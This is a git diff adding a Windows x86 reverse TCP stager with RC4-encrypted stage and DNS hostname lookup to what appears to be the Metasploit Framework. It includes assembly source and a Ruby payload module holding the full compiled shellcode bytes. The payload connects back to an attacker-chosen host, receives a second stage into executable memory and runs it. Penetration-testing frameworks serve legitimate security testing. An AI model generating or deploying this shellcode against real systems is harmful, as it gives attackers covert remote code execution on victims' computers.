diff --git a/external/source/shellcode/windows/x86/src/stager/stager_reverse_tcp_rc4_dns.asm b/external/source/shellcode/windows/x86/src/stager/stager_reverse_tcp_rc4_dns.asm new file mode 100644 index 0000000000..bd9f70407a --- /dev/null +++ b/external/source/shellcode/windows/x86/src/stager/stager_reverse_tcp_rc4_dns.asm @@ -0,0 +1,21 @@ +;-----------------------------------------------------------------------------; +; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Michael Schierl (schierlm[at]gmx[dot]de) [RC4 support] +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (31 December 2012) +; Size: 405 bytes +; Build: >build.py stager_reverse_tcp_rc4 +;-----------------------------------------------------------------------------; + +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; pop off the address of 'api_call' for calling later. +%include "./src/block/block_reverse_tcp_dns.asm" + ; By here we will have performed the reverse_tcp connection and EDI will be our socket. +%include "./src/block/block_recv_rc4.asm" + ; By now we will have recieved in the second stage into a RWX buffer and be executing it diff --git a/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb new file mode 100644 index 0000000000..c0e0ede274 --- /dev/null +++ b/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb @@ -0,0 +1,124 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' + + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Windows + + def self.handler_type_alias + "reverse_tcp_rc4_dns" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse TCP Stager (RC4 stage encryption DNS)', + 'Description' => 'Connect back to the attacker', + 'Author' => ['hdm', 'skape', 'sf', 'mihi', 'RageLtMan'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseTcp, + 'Convention' => 'sockedi', + 'Stager' => + { + 'RequiresMidstager' => false, + 'Offsets' => { 'HostName' => [ 248, '' ], 'LPORT' => [ 212, 'n' ], 'ReverseConnectRetries' => [ 207, 'C'], 'XORKey' => [ 329, '' ], 'RC4Key' => [ 393, '' ] }, + 'Payload' => + # Name: stager_reverse_tcp_rc4_dns + # Length: 482 bytes + # Port Offset: 212 + # HostName Offset: 248 + # RetryCounter Offset: 206 <-- this white lie causes stage0 to hang + # ExitFunk Offset: 237 + # RC4Key Offset: 393 + # XORKey Offset: 329 + "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + + "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + + "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + + "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + + "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + + "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + + "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + + "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" + + "\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" + + "\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" + + "\xD5\x97\xEB\x2F\x68\xA9\x28\x34\x80\xFF\xD5\x8B\x40\x1C\x6A\x05" + + "\x50\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5\x74" + + "\x61\xFF\xD5\x85\xC0\x74\x51\xFF\x4E\x08\x75\xEC\x68\xF0\xB5\xA2" + + "\x56\xFF\xD5\xE8\xCC\xFF\xFF\xFF\x58\x58\x58\x58\x58\x58\x58\x58" + + "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + + "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + + "\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" + + "\x58\x58\x58\x58\x58\x58\x58\x00\x6A\x00\x6A\x04\x56\x57\x68\x02" + + "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81\xF6\x58\x4F\x52\x4B\x8D\x0E\x6A" + + "\x40\x68\x00\x10\x00\x00\x51\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5" + + "\x8D\x98\x00\x01\x00\x00\x53\x56\x50\x6A\x00\x56\x53\x57\x68\x02" + + "\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\x5B\x59\x5D" + + "\x55\x57\x89\xDF\xE8\x10\x00\x00\x00\x52\x43\x34\x4B\x65\x79\x4D" + + "\x65\x74\x61\x73\x70\x6C\x6F\x69\x74\x5E\x31\xC0\xAA\xFE\xC0\x75" + + "\xFB\x81\xEF\x00\x01\x00\x00\x31\xDB\x02\x1C\x07\x89\xC2\x80\xE2" + + "\x0F\x02\x1C\x16\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75" + + "\xE8\x31\xDB\x31\xD2\xFE\xC0\x02\x1C\x07\x8A\x14\x07\x86\x14\x1F" + + "\x88\x14\x07\x02\x14\x1F\x8A\x14\x17\x30\x55\x00\x45\x49\x75\xE5" + + "\x5F\xC3" + } + )) + + register_options([ + OptString.new("RC4PASSWORD", [true, "Password to derive RC4 key from"]), + # Overload LHOST as a String value for the hostname + OptString.new("LHOST", [true, "The DNS hostname to connect back to"]) + ], self.class) + end + + def generate_stage + m = OpenSSL::Digest::Digest.new('sha1') + m.reset + key = m.digest(datastore["RC4PASSWORD"] || "") + c1 = OpenSSL::Cipher::Cipher.new('RC4') + c1.decrypt + c1.key=key[4,16] + p = c1.update(p) + return [ p.length ^ key[0,4].unpack('V')[0] ].pack('V') + p + end + + def internal_generate + p = super + # Write keys into stage + m = OpenSSL::Digest::Digest.new('sha1') + m.reset + key = m.digest(datastore["RC4PASSWORD"] || "") + p[offsets['XORKey'][0], 4] = key[0,4] + p[offsets['RC4Key'][0], 16] = key[4,16] + # Replace 'X'*63 with hostname + u = datastore['LHOST'].to_s + "\x00" + raise ArgumentError, "LHOST can be 63 bytes long at the most" if u.length > 64 + p[offsets['HostName'][0], u.length] = u + return p + end + + def replace_var(raw, name, offset, pack) + our_vars = %w{XORKey RC4Key HostName} + if our_vars.any? { |v| v == name } + # Will be replaced by internal_generate + return true + end + super + end + + def handle_intermediate_stage(conn, payload) + return false + end +end